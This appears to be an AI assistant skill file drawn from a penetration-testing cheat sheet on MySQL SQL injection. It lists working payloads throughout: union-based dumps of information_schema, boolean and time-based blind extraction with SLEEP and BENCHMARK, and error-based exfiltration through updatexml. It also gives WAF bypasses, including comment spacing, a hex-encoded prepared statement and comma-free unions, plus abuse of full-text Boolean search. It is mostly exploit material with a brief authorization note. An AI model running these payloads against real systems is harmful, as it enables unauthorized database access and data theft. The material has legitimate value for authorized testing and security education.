Hacktricks-skills mysql-injection

MySQL SQL injection testing and exploitation. Use this skill whenever the user mentions SQL injection, MySQL database testing, database enumeration, WAF bypass, blind injection, union-based injection, error-based injection, or any database security testing against MySQL. Trigger for penetration testing, vulnerability assessment, or security research involving MySQL databases.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/sql-injection/mysql-injection/mysql-injection/SKILL.MD
source content

MySQL Injection Testing

A comprehensive guide for MySQL SQL injection testing, enumeration, and exploitation.

Quick Start

When testing for MySQL injection vulnerabilities, follow this workflow:

  1. Confirm MySQL - Use version detection functions
  2. Determine injection type - Error-based, blind, union-based, or time-based
  3. Enumerate database - Get tables, columns, and data
  4. Extract data - Use appropriate exfiltration technique
  5. Bypass WAF - Apply evasion techniques if needed

Confirm MySQL Database

Use these functions to confirm you're working with MySQL:

-- Basic confirmation
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Comments and Syntax

MySQL supports multiple comment styles for payload construction:

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Detect Number of Columns

Use ORDER BY or UNION to determine column count:

-- ORDER BY method
order by 1
order by 2
order by 3
-- Continue until error

-- UNION method
UniOn Select 1
UniOn Select 1,2
UniOn Select 1,2,3
-- Continue until column count matches

Union-Based Injection

Once you know the column count, use UNION to extract data:

-- Get all databases
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata

-- Get tables from current database
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=database()

-- Get columns from specific table
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name='<TABLE_NAME>'

-- Extract data from table
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+<TABLE_NAME>

Blind Injection Techniques

Boolean-Based Blind

Test conditions that return true/false:

-- Character by character extraction
substr(version(),X,1)='r'
substring(version(),X,1)=0x70
ascii(substr(version(),X,1))=112
mid(version(),X,1)='5'

-- String comparison
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72

Time-Based Blind

Use SLEEP or BENCHMARK for timing oracles:

-- Simple sleep
SLEEP(5)

-- Conditional sleep
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))

-- Version detection with timing
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))

Error-Based Exfiltration

Extract data through error messages:

-- UPDATXML error-based
updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null)

-- Extract character by character with LIMIT/OFFSET
updatexml(null, concat(0x7e, (SELECT SUBSTRING(version(),1,1)), 0x7e), null)

Database Enumeration Flow

-- Get all tables in current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();

-- Get columns from specific table
SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';

-- Extract data
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>;

-- Find users with file privileges
SELECT user FROM mysql.user WHERE file_priv='Y';

Modern MySQL Alternatives

For newer MySQL versions, use these alternatives to bypass WAFs:

-- Instead of information_schema.tables
mysql.innodb_table_stats
sys.x$schema_flattened_keys
sys.schema_table_statistics

WAF Bypass Techniques

Space Removal with Comments

Use

/**/
to replace spaces (MySQL treats it as whitespace):

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'```

This becomes: `' OR SLEEP(5)-- -'`

### Prepared Statement Bypass

Execute queries through prepared statements to bypass WAFs:

```sql
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Injection Without Commas

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Retrieving Values Without Column Names

-- Determine column count
select (select "", "") = (SELECT * from demo limit 1);     -- 2 columns
select (select "", "", "") < (SELECT * from demo limit 1); -- 3 columns

-- Brute force content character by character
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Full-Text Search Boolean Mode Abuse

When applications use

MATCH(col) AGAINST('...' IN BOOLEAN MODE)
, you can abuse Boolean operators:

Operators Available

  • +
    - Must include
  • -
    - Must not include
  • *
    - Trailing wildcard
  • "..."
    - Exact phrase
  • ()
    - Grouping
  • <
    /
    >
    /
    ~
    - Weights

Exploitation Pattern

-- Check for terms starting with prefix
AGAINST('+admin*' IN BOOLEAN MODE)

-- URL-encoded payload template
keywords=%26%26%26%26%26+%2B{FUZZ}*xD

Enumeration Workflow

  1. Test
    {FUZZ} = a…z,0…9
    with
    +a*
    ,
    +b*
    , etc.
  2. For positive prefixes, branch:
    a* → aa* / ab* / …
  3. Repeat to recover full strings
  4. Treat redirects as "match", error pages as "no match"

Sanitizer Bypass

  • Boundary-trim preserving: Submit
    prefix*ZZ
    - cleaner trims
    ZZ
    but leaves
    *
  • Early-break stripping: Send
    &&&&& +jack*ZZ
    - first token meets length threshold, second carries payload

Useful Functions Reference

-- Encoding/decoding
SELECT hex(database())
SELECT conv(hex(database()),16,10)  -- Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')
SELECT uncompress(compress(database()))

-- String manipulation
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114

-- Aggregation
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)

-- Comparison and position
strcmp(),mid(),ldap(),rdap(),left(),right(),instr(),sleep()

Version Detection Alternatives

select @@innodb_version;
select @@version;
select version();

MySQL History

View executed queries:

SELECT * FROM sys.x$statement_analysis;

Important Notes

  1. Prepared statements don't protect against semantic abuse of REGEXP or search operators
  2. Boolean mode abuse works even with prepared statements - operators are evaluated inside quotes
  3. WAF bypass often requires combining multiple techniques
  4. Timing attacks are reliable when other methods are blocked
  5. Error messages can leak data even in "boolean" test scenarios

Safety and Ethics

  • Only test systems you have explicit authorization to test
  • Document all findings for responsible disclosure
  • Use these techniques for security research and authorized penetration testing only
  • Be aware of legal implications in your jurisdiction

References